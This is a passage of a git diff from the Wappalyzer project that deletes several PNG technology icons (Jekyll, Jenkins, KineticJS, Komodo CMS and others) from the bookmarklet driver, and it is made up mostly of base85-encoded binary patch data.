zIrcWWjb_lC14%Z_h*2dizonvsFn;BSd`gjf6El)Vo>vP=10AG&l}a9fZ5$ZOp;fm_ z=n`ljKbuFw-7Gnb9C)%E=WsKmT(H-MW}Z>ke!nE>f=w^ZTQjv{Dsf<0^P2mm=<#(w~U^o_&er^qrDk z1ntLvET$1`Gi2+ATQ0j(O26MIrcP^|;Q$ZRTNxQYl1fW#?tpGJ*+Ny=aDdYnd9$d~R`G0&qeMSP< z3`SVlHCL+Z2^N;My(v_;1x03Q9VQPRNvFm8`Q$j3MR9nH8qCpTKlxkUd{2(Jq9a(M zF%`-TeeF1djmWEYn6mK&Vg)0s>Ca1O82&bCh&**eG7Z>gN5IwSE6Yml9z^WW63PAQt5 z*!13S*sFP}5V(8#Fl#ocdBXB`|M;qIkyLADW%^z@kN`?$Qmu(EsWPq+mbUnWCg;0) zcrWL2&>lY{d{a3iHT0%{f%{^uY0b2>AgbCH#?}tBug$EU^EmyJuy=Cd21?RrK_mXr z*#`H=1t_jIhRN%P4oP(8#1+a)?z9|`>3Z@Kn|9t;Gz?#p*A0Hd)>=MhYb@`h|3F@A zISA^<5Q1^g`~dsM)~j2Wge2uVKszjG?-#0DpZSjpM^xGAhuEhg=6V=u2HJoYdF@~$ z98p8*De)R(NJK_8kHc^|$esnFiVojJ0js$5e>6c^n->&rt$vJ$w;$sd&2oK0*E67h zG89~!K1k3&y`pi)T`;hpHS~A0`rcZIQ7bd_zk{{C)(k-Z3BUB+WzTGEkzX()C~tom zO6Q9!xA^$?#@m5DU;t?~Xsv>P1@lMf>y;ULyYRavpbAE_;E+sE)*31*?~K8Ixm05+5ma<| zK9v?iQ;M1O745j?HU%^h6_su9MQwj6P@Lxe+PVauf2@KRB*}0O+gP$NI;X~0P}&lX z%9su(T9KlMp_6lXPx^#q?P1Y528Zctk`tO-I7?LBz0&%qOx#Y}Q-I=Bg|HZ4td7<9 y)gc=+U_&L<_ohjzjWKbm=2w?HF{VjlWZ=MN+$mn(p>uljc0-_k8*a-;`3+@8IiJ*sPc~fwt22jb9 z}-OjEWfCYgd{5!M12$M2Zk1+^XU0k~=k(98i_3(Xw(6#$01AX)=`Pmf_B zib?B$=>*R?fGL0_7r?e$l`hZ#a6oVrJqNN=zyX%R6rc!>MGj~HVh-4K{rMnkmp0Azo1fnEP*Now&>aWf!OcFsBP*2a!xevIu$Y&N0*la!dde)c{&2F8vF diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Jekyll.png b/Wappalyzer/drivers/bookmarklet/images/icons/Jekyll.png deleted file mode 100644 index 453ffb2e7e734470a1b437fd2668ffdbd25e187a..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1145 zcmV-<1cv*GP)Uxp{eAA0IuML`1H{n^-J% zul@DrR7;x*-xm}hHZ~R!5fR8fa|XBT>bgThLbei5QBl#cf?;sw{sT1z1S1545ekJ8 zB_&s|xU_`o>S}{rE?-By6r3xpw%SIZ>C-{WVzJur)Zu`0c^P*5=rU^{v%bDwL_GNW z`v=_X>V9D`4np0l0egtBjo9(%@nblhP9!8GTqT}9`7|-j!fxNE>qoCf3)9dr#>Xcx zGcyaT)w<&0;So)|h(scnYrj-!hs_rBu;IG?fz|par>0lyFDfe15s@45vTK(#oK?P} z9}rgSXKR3cbPNv1GtAA+K`NDgO+0;@mHmU&W`{<*`uH$xHe=%9L(DHMpiQNkC88kW z#naQvtEIKgVKkXmZ?6{&u(7u={p2Z@S5}amoLoaZ#UDD9Xtr3{-u0{dA2bbNj17N2 zHHFFXarpZB#uHChO3PI20O)1a>jsBlVSArYD6m*kg0hMVD-nr_7l}l&Rjbp#5?JMG zbuaV{jTp|#!i1+M7E~(ijf=}Ap3=X{$hVG-;~pE@B9WlS%?(3D_%kvRy}JItUESQa z5ijmy@tbuD<)|hn7YbKbsEE+dGQ#q@yd0--%;^TuZA{bd7 zvF~Rl6M`g?MB?d!?6O>!pAV&19WJ zJnD(i!D8ON9h2-3OD!#kKYmS>{}60K4xTD`oWCW49O_nkXoG8&!k>(@sR zFYINDuGiEG_mh*+d*ld4GBVKT;sP5HUR}6|yy9Xt5s8SGuy>=P`|9e^&4zab2SXDW z2m=wO#A3_}0=DhmeUfwAEBx>zjh(qv{r!G^XGp^s&R?SAR(S;#6Y2Z@zLyxeJOk~UXWJKJMopkS}QlL!LK z1Y5aRS{$FtNN~KfO_l1%3emhiEMXZr*%Aep5av z{9Fm!^&7aWYF`Wu3o9fd7g{Ufk&zoy($Y_Uaq3i7#GXBS>3{SO#ixmAs~%d(00000 LNkvXXu0mjfL-{N) diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Jenkins.png b/Wappalyzer/drivers/bookmarklet/images/icons/Jenkins.png deleted file mode 100644 index 8a712a9413a472cd6520df9c83df837c01b225ab..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 2000 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 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/JobberBase.png b/Wappalyzer/drivers/bookmarklet/images/icons/JobberBase.png deleted file mode 100644 index 8ac580faea1d988a97ec760e6f9a643c6f8858eb..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 252 zcmV{>#nelLbJdy3ZE=`F)=@K0fn4GXb#X)d}}F^=1L*F5%C5 z2jsfA``+O$=L!2pnzhF@%X1e#EkKum^cZIXgenAb46lH#U8+cxvcgj|JxVpxK~lZS zA*##`*ae6xuu}lMgpbwYvpe?Qmbv(|y5CHe1N;C51_dv&+eKFZ0000n)9O-wbO;~#haP$b9ZN!9Cu3uga8K^0AIlq zkm+;DWSO9Ab%P1e4;)0hAX)+50EL5d8RRaYaQLJJlnUe;+m;}Y6v#EoX+WPrz%4bh z0;B_zKo$z3K`|%;r-0iaz()hV8wBw90>X6iGy_qYR1S_m?22$VA+U7!)Co&&6~7KE!~QjX$`P^#s6!J^N= zCiT5Y0zWuo>Oj2y9MHqcy-M|V!cfJN`)lR4w1$zVm z9Yz5aOn?%Re~*5wyu66ChMh9TjQukQe29w|?G96*fLUg-S>4My{MWnCn0yX#ldN3j zs`_H?<^-G(1+3&O|r0Dt!jVZpP-=RpH8(diHa0CU zFC{1_BPJ#!CMF>xBOV|i8yy`P8ygrJ8WtHD6c-l~6ciB@6b}*-&(P2b3=9Yh3((Ne z1qlfS2nf~H)z;S5+S}XV;^F`U1LEW3Lf;7P00001bW%=J06^y0W&i*H`bk7VRCr#+ z(baCmFc3gd&lr*{GgFb7nVFg4|No*^l4hN3)-P4nD}!VmX&y{|-`0v@WDUbUa`KQX z=e;av-^n~!nxIZ*z|01>77n z^I;BUV|N}{Y=i35#ueQ`yW~sf2!4Q=x_xuN$2koGR(V3~jiOrwf&doKR|fpRS{v|# zzB8@@dcBE(rcJ7V=gE;E7+hrvIPAxc?l0PaCNQK4_5-XmhPM0Z0I@$D4!$nA{TE`k z*%()9x_6^hw44!-l`d6HNRb*aO|V3wrNVmG3gtNY`@R96cQ9DoFeAkP00007Y2G+{wvR8~teRa6+3O+w`- zexlT<$*5Wi?Cx&weeZprZ=QGabb5N~e9m(|=ir8H#vo_{jV8HmFoPZwpu#u=f}pC3 zF%D944O{`41TuQ2#y*$_*RNW&PD(vhD7rvgLJ|pz(`Z72{d;_BVrO&9 znKM_l0eiGjU7bf?^go!J&VbUkz?lCgmga@9(71bF_l>^e?T3e+KMDx9H|)9IbMK@u zuO2 zVhnjy;o~99BBi9``9cG?-s4k+#-^5Q-Fm z2_zCAg6gXFj;^+jL%qGXeXduombG~RU@V#}t=sbB%0MZ<5zC=uJSL)&h;sQl?zpdB zKbbS%cQ_t6F=uN_wTcZ8f)rE&r4%4aqzW-^2oNAPCdd4<3l diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/KS_HTTP.png b/Wappalyzer/drivers/bookmarklet/images/icons/KS_HTTP.png deleted file mode 100755 index 1f55e03b3638a592ec8f5f049d7cf36b57e0ffe5..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 678 zcmV;X0$KfuP)oI;_J;P2NFKg<#bNm>OPoCn|j=g+pISRk0fCT`o<E^wuZh#sejZOj@j!$!3gsf5 zPK41|k{k6~Kon~p;q}I?6sm0AIvH|ynu$ZrxQhY?41%gs1iqhb=T)SZq03h(FS-~3 z%lBOdqEQNVhS5lxY;6i&bcdA>-~pxiS^CpE;oCGAR^BWrmB`1EWaAk|>;!o`jePis zh*Z49KxqlZ4^09lxLIbg$Uvly!9({-{GfTF1n;-QdpQhB}tv z1E^1VY9=6108g3A50Q&Fv_Sd%}qJlNF&Q(w@PK>|d4+(Ln= z=7aRDtzxh`&Tw^-=cyD=oA=PQZ$FPVZ-;AlK{QYz8W2=ANdPdi#Lpiy6z)A?zEBv;VRB|ntF_U$}h7DGyPoHi-dGh4MHEY%c0}bH8FyLrGnZ@H7 z^B&$?zWUCi&D(Ch-E-jexd~HqmMvN0dGX@K2d7S*da`fdz8gDt?tI1dz>3gl zi4~FYIYl=1#$8^1+BX~8w_mSmzPN1O{M~C-uelW)8|xVo5~5a7QIQoM9^u09ux|?E zt&TnvzqAE}uw1QdU^$js%yuC-rte}<^o#!HmisNuEnB@kJowkHTgQ@;lEUHSWegiD_Fk0`wF7y0CnN8q9A(y}F8UENPBDl3z# zs;gZZ8k^?k<>$vRTx;%}dZE6htIOSo>qc=E%l?RXiF47(DYwHDk3I;9`gqDC=whe2 zZBSNfs%}GLO-`)I0gs%l>JfA2oK| zds*A|{YGZd!wvpnlgo_EE!|}mxOX^uF~P#7ySs-mEiIkV$H#}MrnU|eZuiS-Z+~d* z{rjk13(5`@Cv!vZ|xX-(>MI)MeopkK+RGYyhDjJ0I2DVXYh%9 z0~7J1-oZupeIwo<^bD$OF|%eR)__~*JcG~X=^2TyarKe7>=U;8mT&mo&F=nA^R1ki z2pX{4Gq7`oqerK^yduv5k3i-PZoalhJc2f@boOd>lT&0TXh4XP8i$p*6c>y?(Zrf5 jOhtp=T1rNM7#{!t`UkZk3u-pj*zf8X=HFCRrsDXCN{kjZ2vpU;OxB7syY zgTe~HNCb0pb8NL*g~#K8-EK!T8bu%wKqL|wXtmluBVw_*WVKphu~@LO zvVuaP0G4HuPN!is8VT0Dv>AYq1F*Zhi{<5I696#lbUFlsK^P1M9ymXPdc6*((>dS(!L(+Fs`5ekL)$gNfj8yg#V`tUx6 z?yER?X2#cpbO``WjbH81qwPEFvFi#5aP&Zg(ep>}dcByRpNCv7=M!0tH}TOvizB-T zUu-iNSZ8qd{vD{Z*A<+2W^o=MKYT7chRI~&fqS=a;1hEVLx*Srj9zY$tC&fAdi?E$@NdN!<07*qoM6N<$f`3LFq}YQPw1a22QnA3zBd%M=JWD+J4+F-f2q ztnq+|XPyF^!D}PyQIfy|V?e|LeU&K$s=LYG zLm|<};oUJc16*^(G4l@b9kqNz$M4bcU1h_q3{RT&f!6fbQ9NPz%Pf~5h`v4 z`(xOxRA;qu8TDDh4k~p-X^?0~Om6-EZFpx_5_GXl@K(I0Ni@(70VhDSwheF6y#Xf6 zZAgeLcx)Ulw_@tA8?|(j*7^!$`AN*9b#?xH2fY&FA}_c=I5mmSJ_0#D!)+JKv{LLQ78Va!Y#0Xll02tl*_{s%3Ka4(Nv5XMrUk#`YzDosv3oDkCAwvBv1e= z!sN6Ys#5fXMM2_z(l=nXWN*vpifye~W0Jr&zD}bjuPH--eiKY`7QNag*Im#89!AZC wtH4J7G&@^qft{5WAcnvkHzz+qyU+ap00*Y5>53?g#Q*>R07*qoM6N<$f~p`h-v9sr diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/KineticJS.png b/Wappalyzer/drivers/bookmarklet/images/icons/KineticJS.png deleted file mode 100644 index 8cc5bf037bc4a46d896f57664e52e20c7cc64a19..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1176 zcmV;J1ZVq+P){r>*` z3k(bx7#J%nD;padNl8f~BO_2yP*G7)Mn*8X6jhhldXk5F8vF9UUDvH#a#sIgXBwpP!$rtE;uOwYa#r(9qD`-QD5g z;p*z@@9*#O^78cb^!NAoJ3BiL4h}v(K0`x8L_|dH?(T_+iB?rrFfcG!SXWtDSqu&i zTwGjTU0q&YUSD5dGBPq^U|?cnV`F1uWMpI@ARsg|GH7RKA|WAZX=!R|YHMq2H8V4C zaBy*PadL5SH8nLiHa2v0b98icb#--ic6N7ncNiHNI5;?adwYL>e}aO7gM)(_85ue{ zItvR6JUl!Q5fKg#4~vS4KR!M|KtMu4L5_`#LPA21kB^X$kd%~^mzI{Bo0}*nC#9vO zsHmtYC@8J1twlsbx3;zl3JSTnxVpNzySux+yu7`=y}rJ_zrVl0!NJ4B!^_Ld&(F^( zDk{^{)7910*4Eb7*VowC*xTFN-Q3(B9Ub4_-%3hK+4QV zPVesSPft(q@bK~R@h&Yb^YimjPfzvr_4fAmFE20n`1twx`TF|$Qc_Y=Q&au?{Zvy@ zR8v${RaIsnN}~V(0u4z-K~#8Nb_8ZR;pvVwwmoaxwvKJvwr$(CtvfrNbY^E$ zHFpEIIABx(SJb*GljUvS~$=%Bu1q87k{ zs!0op3D>`;MdU=e7T9ZRe+g#Fd8scg+AUh(;|r}q+}u!dHH^hQhX&;M_!$)1OWg1T z-)ZMQ^mipMtx>_mO70+uptr13-f663m4JY89p{7?5YFY+;OhLcRv=s%#ukDzlg+u8ZIm- zE>+4CNw(?CfxBPsaQ||qnji*{Fs^OJZEdVy>~a73wC8b8+kh2fAXj5ymC)=2!!lp# qN3+`xS7V^pyuYg%40PM@0fGOoS8eqE9&VWc0000`TEhiZlGrTrq5Bfyt{SJuW#QzJ$=48JRRMF`I>g$-n{*XWHcIh zedPuo(egFQS5O{^dj;X?0pB_I&R{7<{D})6=wG37GDlVcGz;AVMyU%k79pzv1}RYd?8MnwF zm6(o0w_uut9-4~Dd}{CRK0r&|R~M~DbNh+b3B8Pxge^EXc`kYqL{;!$&!K~5&1j}y zp0^yU>EJk!G5-7K53*->rj;VAcy;+YvRQ9$-9=9`vlipY-VDGHcz*fFh_V2jpPP_fx5_zmOGE~;tuHTK11kIW;Uiq+ z+q?Jk)NP2h0EniE>jDe$tx;Li#B_n&$A?d%=I{WZ;O5XYWWi0r$s|~Sk~&qakPZ6$ z{3TrK$Hz}_@sE$6l4-%oj>*UtK&mGQy1IA`veW`yCz34yrVZp;;rsg!llj%*vWxUx zkSze_YLYEDRMCnjdjlH)FV9_q%l`iUeG;!K2^Ij0_*WONBJ$nOpBn-b(bQa9x(-o! z{rR&iy^I74R@nF>7akuUKE_nD*vJjpi#OM7>0_25)`C4bC>i?ztnNfZU*En%uHUDL z=@4td2LA-~x&<5Bi|US@>7~S4Fhx+~NNv}x4Lgq3cLPfc?By_65V%hd4j$d10C5deH6T2$Q#9(ox`o1XF~tkY^GgCY2&N0g%>#ppOH43gazGXM>i) z83;%dzLmwtLLOoRV%S631OqRsZFd0hXAaS^062A=z!V{F85;Nyffx}4a^7s)cqPj% zY+N+kZzO3~sm5e!uc3MYTo+;gqie4valKI3F3Z+kTLCs0P%?_4tov`8LO{u&Ld8 zgILteipk-=RVqF&6cO`) z=ayL3!XBRq{9105qWy+?H5u2P9+KbB2}BqzqudI8Du9Q8UKa$xixXiblR-=ug6oO+ zU7j}qR4nrjoBpgQhU2iU)@p`*UsXJ(vUn|(JZv>Hh7rkTmRVM`Z8B-5ARv*BPW7Lv zO0KD7cD5v`WLk)?Sk|XX$BxtIA-nSu+NqSmVW3)gW>!Ayi0#l&dl@aai$~;0iwT{Hlo~^3Q2GP O0000PxllFFV?xSG=T zl3QJr$ev^?%LgfKq|}w(O6s0bx&3kbyytVy^E~JIe81n{@A)m~bJF~L-C=5QH90vs zn5PFd0Gbi9M@1PLMe*@(pvh3|N*4$6!^N=-At>j};)j6~xB`eRC%4g2B498%pcoMbMzDDf$l1CEB!bOyKyD-YV0;8F zU?kfkUI+%p`_h>49Hu=B>9`58Q35~$Tu{tFNVriv5g>6uF6jc$TDFZwB9%B28%;upqpfiB>+ScfFmQmUP#EAkQELD zP~E=Tg5DgEkz%m`K%--0V^Ohq6kiyD#@gH4%QSE}TL@t*isOkH5?h|g^qT?|6fuQt zftbzbA!Le-Fn+Yy0SS5f==;cCggJwOW6R}KlX+2L%pwD z){lK5{*a4?oI%U#^SgTewgokTY`NTh(93fFf;^~cg;00ueg2#+C#TfzNp+@4MrO9L zqi8|8pTzC>jiw?`TMtz(d@;$3qEL`p zsB$_@IW~`SQup+^zP!tb&87Hgpr&|F!rb`W=%7`F;`v*epWgUhkDVP&$eS%mxD$sj zy72t!u|sV>ynTwws;T^vPoo9`Al(0oiV-Y&(S5q1f?b_l2uAFS=|2I-{RG zHsdL@am$bWyh`C&RaJpWZ~|zbnNS4iGjtx9Ql9P|DbZLnyeG-+j{k|a`Kr*(bkBE* zQY-n|>vxA>XI1xrKc&BdPt^#!ZZz-@XI&`%5UU!uSaxrc%vP0c=OxmS~ zHBSy7(6YGVzfKKr(YvkKBb1#iBov4P*y`aR^ZS-IUsE&GRB0u!Y({&Qa5^qRK)HW^0wTh{0c zPJYs&Si!sZ&rA?AU0KH31r}LzLb&dwcLf0~l}xS7Sv$EuLK?@fCG?E;WuQ((B>(FW zrB8`&yVWN6cZIW0wjvDFoFB2fqmmYB`0JmdtV2-xMWLwi=W~zy4UyysgZ0+y8IHsI z%Tl}0xDtkVj>Ow{~Oi&R9iDi~O1XxFhXHTwOQE`5i)qhkz z9a(!(^WuItQPN3Gjg)+(4&l+Ts|n6bFNEeA8oa{jit-Vg?Fq$eBc^U!?Al^KmJwQp zDBCa*)MP$3Hqev0xS)BX_ob7akvS8t=$ttCwC&wT1rNiHf?aF&Rlo7?kcVlCB#XQK$ zG7LPVG`!v=%M53ZG*Vp?we~dKqtv%$&#{(*{2+z2n4q^4^;Bc&#_Y`#apMT%v}TOx zrBRpRj(UQXIZU&q{D4`se&fyN1H*T0FgXU3FAMI6W^E!#f=AltTwAVeyEkCe6&Y!# zesM6u3Fh{y_0Qi6{O46Fi`)E)fRR^!j8$nePw6vi9F^++_rh5^$Z22rMLs95yZHlb zEvcirz7{_XBQBuoxMdZyTnSgN_gS{t{6JY(SJ#GJ98Lav-qY@dJLD_vYSOR}Pwnbc zdK3MpPGEWo4=YQw0$x|t!M(@#s%5XvD|=5hwW;5q+_by2?p9|^R(k+t6j@-ExTqfQ zs9+wenigrnm;SzJG&%L(m&@}hP8!->W=no4z#dt!I4dgaj8hV-J$rc^fm zD8F;q&d{Et6O+*zB^taI)tt10eO^94RmNH$YgX6xd1p;&3|wt=G?#rtN23(>s$t{?8+UpnTjb(pziXbZzSIkpoymUzit`tV diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Koego.png b/Wappalyzer/drivers/bookmarklet/images/icons/Koego.png deleted file mode 100644 index 72e498be899128f8c3a98a9f1ff284650b5b87ae..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 140 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!63?wyl`GbKJXMj(LYk1S@jMd&iUfyz>13-$o zB*-uL|9^(-r+6KKTzyX$$B>F!$q6pZJRxEUOpI)5Dt62q28IhiJya^N3t{Qx7jt~r h>=N+PL6FUhfuU+8!`hnsL_45X22WQ%mvv4FO#o*IqP)aVkl|b!K@c$$A?ava{jz~I`LBXrFnfVfRn5y?fKUWxPXpn@HOWDN zW!a;O1yZ{U&o%*1R5hW)KxVF^H!_%g3|cwOY=j*_uB-2lOO58&?9%8rs-pi z1%l9;o#?~D4I;}&2C-<{UAq>7yv_tXlnwVVD;3KPwy#?{qjE jZFal;jNk7+_~-KftrN>fzNr`sKPe^w{RL%pAzHNl)Cjp2pB#wDlyKmf~_w`N>9}#fY(4hJ z{}!O%Y}!P+_B4|BkeUk$iGTtD$QTq5{|pdn-4H&YbNNAe;Ojr9EkIA+b-%X8_ee@l zKM6q;&?__jJh z$*T*%)@%te5#l1ja%2-z{eZ-S47Lu+u5)9eCwA)tlhDNmwueG7jTcK}~TmvJ3=Y5g-XfC-nu$ zwDm=Tm0QqNcfjuNymRSHXLaKkd_zW_ts5NaT}1-^P81g|+z zKIbOPy&k>!VVJ)H>Hi6aFM`(Wna-^h(i}0hb_g(-VYClcY(!V@MEZV$p6@{;-XEcm z1h>3EL7T9m3tip?*G7@Q&OqN;AOaPTOOPZmiD>&5&LEc(%!^Q)RV>y7tz3jl0IkZ3nC;;Agf_5_@C$}e zR7T1g0!W5Xm5wGu!Y`%SRS`MSD0>-$2@kOZ0krL^Ce$g605W2-Kyj!P5qP*Wex8-e zfms|1aS7i-70@d#07jgdHWBtF68yV@lWPeFNHF0>o^fQs@_)Mk4Pz*d>?&|Or{2X5 zPYLc;2<>ip6KWg)_jGv5*&?_G0it!TxG-hvXEkDpkVCsTzt+jaxC2s0#hVeP)-;IQ z>dcVae;q>+tK!M*w%4iXN` z0jd0OrG2!#Or=?k+yeijqN;-~Ah(7Jq1SRs-2iW_Sn{ab>eFIDLCeWOA(usRH3U$V zbQ}_GI;)CXnA|52w^`j{R3M7wZ9ij7M(Sg0y=Xscf4IYYukr1D+yfI<=@WHEBf zVb%-wT!LK4-6`Y9O4Dyb01l9AkCXK(IYY`AOoW2AO+>9`j%3f7GcMYT?=K@tiZ1|X zivY)`z#Llnb+;;;dWD>EE6oKFzx4>-7paJLXmO*dZ;!n)TmkQ52u#Jx42~|Mk&l)c zFX3*O0K`N@2==R&fTTF=`(!>$Z(a<%=$5zuhocT`*9qNB){9`Zv(;>OyR(!~3?{mf z&M?xv9e4y7#_;a~9H)R=w83*^O{iIkdW}PePYje&wRAv7(@tO`@H2*)3vj$&KQhrl zi}y;6DWU4*3Z&ek!Lz_p;0V(|#q^PY=bOX&R&4=?K)X=!32E>SHTE$>1ZIv)z-Ag@ lJ1KY5l25415-{=^;vX0vvI@AHok9Qr002ovPDHLkV1jBocr^e3 diff --git a/Wappalyzer/drivers/bookmarklet/images/icons/Komodo CMS.png b/Wappalyzer/drivers/bookmarklet/images/icons/Komodo CMS.png deleted file mode 100644 index 04d81f365eb7b4cc0e00d9a5f1e0ed602811e1ef..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 214 zcmeAS@N?(olHy`uVBq!ia0vp^0wB!73?$#)eFPFP2=EDU&1yHv=`=6su`TX%sG8#0 zGADf6>Vh?U`VO62bL#5$%eN0besSZ~yGNhDzWeq2=l}ozrB-Ba2I@`pba4#fh)ymr zV`CO(V`Vc)NHS@KSXjZMg`+xp19=4>{|MvgB z9eO5VPnmnng*TnsKZto60~Z`Mz7336fJUa;RF`>ED%&hz*3b-7F)O$g5<28o&8%x7w=I?A!qK$4kB6 ze8zGs-_QU2R#`fKMvtSUm$=WdHS1RiD4pSp*t3j}&rovXzEjtvq8Ki;8cq4OZ55N~ zEkk=ViNDEvPQNqL64h{S1O=Et!@V`Ln0m@q2!p~390nYWS61<`GCZ)CdsK70QzMKQ P7-288*EP)Jr`R=TNfmXS?omD`l&wEnZ@RF-aTttK{d zmcwRdrt);rrV~UPTIx`NG8HN1=i|Y<_nve5+;i@|zM+waFQ1+BJ>T>Fea?MkLg}x{ zqYSPn7!o^&oToaZd5%)INiP=^nv&DAG98 zh{7M5MQI<35(74SSh7Yb;|g)bRPvw5U4$hV1`!J>GU8SO94s-D>V!v>Kn4@*lwB2p z)Ill{X9ZG~V?c>8B4$+1C1R;ie!m_VmJAR>thulu=2RRqv66hDMMIh%tc;6|rPaat#PCnM=Z7+S993O2=h{-ky`S=iTvD zA5Gc3G&kT?z=VXRFxy9B*BA?qxkT*Z-&Ic-2gxN|z~z9k)30pn=59cY&>@db*3-@(U{4g?YXh38yDq`&PcS5b55LQZ0pu<-R*@O z5}>-5fY^lLq6jW7MZ_v4jp{~jda(Sxr@s2&X-!qO9c);!^Zde3Yj=m6WvhqlTbu4g zG>=s$N~*D(35dp#uuIUPOv z_U{{f8oJ2xNP|ytSIn{H)POTc*%ndDiP=fJR!`PVRlPPt~_-E{sw(2v5r7MF*y%; zmDNR0?5=A3q2@-=YpI3fkWgip+U+3-8siXxc8WS8u@z-!D#DGZO#ogaGHy%8V&*&Z zavNJBo4>gj@IbA_Ct?>hF#A13+*zW%`eMegn zHvaMCbzh!^Ndo(#3uOfI9=O`wZXuL&@0wZhbt82sBPo*V(uc$@8Dd{II;P zCu(>#LYT152@%*o0y!}mM{g{9VRUYK(w6-f4tzWpTgf4fQd2ka45(7QZm_Jhgt?Q3 zZ?C-A*&Xv~D)I`&LbJgB5lHPqYSn_VnyPLruN$9}BDa>$%_D?ttGv(^(E~mYikOia znx3Cl5pL+|HN75r?K#1pi!uTnWacKv!6`g zw5PVZ{`Sz6U~YQi;hJV$ryk@E+MG91YLlN1O+><-*OIR6b1db{{9Uz7TQ(8PdySb(F$1{zI z0eB_0?3+x=f4a1{>WVb8cy`{d_n$AAJVG}NT{j`-5Cg`O>h`{A(m9hdJ0r2`B>8K(!#Pe zvr-57@$uo5#mAvSJG{&umRNJ?CIO4cFFpl2IpyvR7fgoyCHU1Nr?1T~J+Lo)N$xJ1 